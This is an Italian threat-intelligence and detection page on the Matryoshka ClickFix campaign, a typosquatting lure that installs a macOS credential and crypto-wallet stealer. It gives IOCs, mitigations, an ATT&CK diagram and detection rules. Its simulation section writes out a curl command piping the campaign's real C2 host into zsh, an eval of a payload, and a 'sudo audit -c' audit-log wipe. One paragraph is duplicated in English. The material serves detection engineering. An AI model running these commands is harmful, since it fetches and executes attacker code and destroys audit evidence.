Analizzare la Nuova Variante “Matryoshka” di ClickFix: Campagna di Typosquatting che Distribuisce un Stealer per macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Una nuova operazione di malware per macOS, denominata Matryoshka, sfrutta un dominio typosquattato per ingegnerizzare socialmente le vittime affinchĂ© incollino un comando malevolo nel Terminale. Il comando in una riga estrae uno script codificato che viene decodificato in memoria e infine distribuisce uno stealer basato su AppleScript mirato alle credenziali del browser e ai portafogli di criptovalute. L’installer viene eseguito silenziosamente in background, sopprimendo l’output visibile, e carica i dati raccolti usando un header API personalizzato. La campagna è guidata dall’interazione dell’utente piuttosto che da un exploit software.
Investigazione
Gli analisti di Intego hanno ricostruito la catena da capo a coda: un dominio typosquattato reindirizza gli utenti a uno stage shell leggero ospitato su barbermoo.xyz. Quello script esegue la decodifica Base64 + gzip in memoria, esegue un loader che recupera il payload AppleScript e mette in scena i risultati della raccolta in /tmp/osalogging.zip prima dell’esfiltrazione. L’AppleScript tenta il furto di credenziali presentando un falso prompt delle Preferenze di Sistema e si rivolge anche agli strumenti crittografici sostituendo o patchando i pacchetti applicativi Ledger Live e Trezor Suite. analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.
Mitigazione
La consapevolezza dell’utente è il controllo principale: non incollare comandi nel Terminale da siti web. Bloccare e monitorare i domini typosquattati e quelli legati al C2 identificati, così come l’infrastruttura di distribuzione del traffico che supporta la consegna. Applicare una lista di ammissione delle applicazioni e utilizzare una protezione endpoint in grado di rilevare esecuzioni sospette di osascript e pattern di recupero anomali basati su curl.
Risposta
Generare allarmi su curl avviato dal Terminale e pipato a zsh o osascript, monitorare la creazione di /tmp/osalogging.zip e segnalare cambiamenti inattesi ai pacchetti Ledger Live e Trezor Suite. Applicare il filtraggio DNS per barbermoo.xyz, comparisions.org, e macfilesendstream.com. Indagare su qualsiasi processo che si avvii silenziosamente in background immediatamente dopo l’esecuzione di un comando guidato da curl.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access[“<b>Azione</b> – <b>T1204.001 Esecuzione Utente Link Malevolo</b><br/><b>Descrizione</b>: La vittima visita un dominio typosquatting e vede un comando copia-incolla.”] class action_initial_access action tool_curl[“<b>Strumento</b> – <b>Nome</b>: curl<br/><b>Descrizione</b>: Trasferisce dati da un URL alla macchina della vittima.”] class tool_curl tool process_fetch_rogue[“<b>Processo</b> – <b>Nome</b>: fetch_rogue.sh<br/><b>Comando</b>: curl … | sh”] class process_fetch_rogue process action_execution[“<b>Azione</b> – <b>T1059.004 Shell Unix</b><br/><b>Descrizione</b>: Esegue comandi shell Unix per scaricare ed eseguire rogue.sh.”] class action_execution action action_obfuscation[“<b>Azione</b> – <b>T1027.009 Payload Incorporati</b><br/><b>Descrizione</b>: rogue.sh contiene un payload base64-gzip decodificato direttamente in memoria.”] class action_obfuscation action action_indirect_exec[“<b>Azione</b> – <b>T1202 Esecuzione Indiretta di Comandi</b><br/><b>Descrizione</b>: Il loader viene eseguito in background, si stacca dal terminale e sopprime I/O.”] class action_indirect_exec action tool_applescript[“<b>Strumento</b> – <b>Nome</b>: AppleScript<br/><b>Descrizione</b>: Mostra una falsa finestra di Preferenze di Sistema per catturare input utente.”] class tool_applescript tool action_gui_capture[“<b>Azione</b> – <b>T1056.002 Cattura Input GUI</b><br/><b>Descrizione</b>: La finestra AppleScript cattura le password inserite dall’utente.”] class action_gui_capture action action_cred_harvest[“<b>Azione</b> – <b>T1056 Cattura Input</b><br/><b>Descrizione</b>: Lo script raccoglie credenziali del browser salvate dopo l’interazione utente.”] class action_cred_harvest action action_masquerade[“<b>Azione</b> – <b>T1036 Mascheramento</b><br/><b>Descrizione</b>: Sostituisce e rifirma i binari Ledger Live e Trezor Suite con versioni malevole.”] class action_masquerade action action_stage_data[“<b>Azione</b> – <b>T1074.001 Staging Locale dei Dati</b><br/><b>Descrizione</b>: Memorizza i file rubati in /tmp/osalogging.zip prima dell’esfiltrazione.”] class action_stage_data action action_c2_comm[“<b>Azione</b> – <b>T1071.001 Protocolli Web</b><br/><b>Descrizione</b>: Comunica con il server C2 usando richieste HTTP(S) e un header API-key personalizzato.”] class action_c2_comm action action_exfil_over_c2[“<b>Azione</b> – <b>T1041 Esfiltrazione tramite Canale C2</b><br/><b>Descrizione</b>: Carica l’archivio zip preparato sul server C2 tramite richiesta POST.”] class action_exfil_over_c2 action action_auto_exfil[“<b>Azione</b> – <b>T1020 Esfiltrazione Automatizzata</b><br/><b>Descrizione</b>: I dati vengono inviati automaticamente al C2 senza ulteriore interazione utente.”] class action_auto_exfil action %% Connections action_initial_access –>|uses| tool_curl tool_curl –>|downloads| process_fetch_rogue process_fetch_rogue –>|executes| action_execution action_execution –>|leads to| action_obfuscation action_obfuscation –>|enables| action_indirect_exec action_indirect_exec –>|uses| tool_applescript tool_applescript –>|triggers| action_gui_capture action_gui_capture –>|captures| action_cred_harvest action_cred_harvest –>|feeds| action_masquerade action_masquerade –>|stores| action_stage_data action_stage_data –>|transfers| action_c2_comm action_c2_comm –>|exfiltrates| action_exfil_over_c2 action_exfil_over_c2 –>|automates| action_auto_exfil %% Class assignments class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process
Flusso di attacco
Rilevamenti
Possibile Manipolazione di Stringhe Codificate in Base64 (tramite cmdline)
Vedi
L’Archivio è Stato Creato Nella Cartella Temporanea di MacOS (tramite file_event)
Vedi
Comando e Controllo Sospetto da Richiesta DNS di Dominio di Livello Superiore Insolito (via dns)
Vedi
Tentativo di Esecuzione Curl Sospetto [MacOS] (tramite cmdline)
Vedi
Rilevamento dell’Esecuzione del Comando Terminale della Variante Matryoshka [Creazione Processo Linux]
Vedi
Esecuzione di Simulazione
Prerequisito: Il controllo Telemetry & Baseline Pre-flight deve essere stato superato.
Motivo: Questa sezione espone l’esatta esecuzione della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirano a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrazione & Comandi di Attacco:
Un avversario che ha già compromesso un account macOS a bassa privilegi vuole eseguire un payload remoto senza scrivere files su disco. Creano un comando in una riga che recupera uno script codificato in base-64 da un dominio C2 malevolo (barbermoo.xyz), lo indirizza direttamente azsh, e alla fine usaevalper eseguire il payload in memoria. Questo approccio si allinea a T1059.004 (shell Unix) e T1027 (offuscamento) e corrisponde esattamente a ciò che la regola Sigma sta osservando.-
L’attacker ottiene un token unico (
ABCD1234) che collega la richiesta alla loro campagna. -
Eseguono il seguente comando in una sessione Terminale:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh -
All’interno dello script recuperato, una variabile
payloadcontiene un payload malevolo codificato in base64, che viene eseguito tramite:eval "$payload"
Questo genera due voci distinte nella command-line che la regola corrisponde:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsheval "$payload"
-
-
Script di Test di Regressione:
Lo script qui sotto riproduce il comportamento malevolo in un ambiente di laboratorio controllato. Eseguilo solo su un host macOS di prova. Logga la propria esecuzione nel log di audit del sistema, conformandosi alla regola di rilevamento.#!/usr/bin/env bash # ------------------------------------------------- # Simulazione Variante Matryoshka – attiva regola Sigma # ------------------------------------------------- set -euo pipefail # --- Configurazione ------------------------------------------------- TOKEN="ABCD1234" # Sostituire con qualsiasi stringa per simulare l'unicità MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}" # Un piccolo payload innocuo per demo - echo di un messaggio (sostituire con payload reale in red-team) PAYLOAD="echo 'Payload malevolo eseguito'" # --- Passo 1: Recuperare e indirizzare a zsh (corrisponde al primo pattern di rilevamento) --- curl -fsSL "${MALICIOUS_URL}" | zsh # --- Passo 2: Simulare eval in memoria (corrisponde al secondo pattern) ------------- # In un vero attacco il payload sarebbe codificato in base64 e decodificato al volo. eval "${PAYLOAD}" -
Comandi di Pulizia: Rimuovi eventuali processi transitori e ripristina lo stato della shell.
# Uccidi qualsiasi processo zsh avviato dal test (se ancora in esecuzione) pkill -f "zsh -c .*barbermoo.xyz" # Opzionalmente cancella il registro di audit delle voci di test (richiede admin) sudo audit -c # Svuota il buffer di audit (dimostra T1070.010)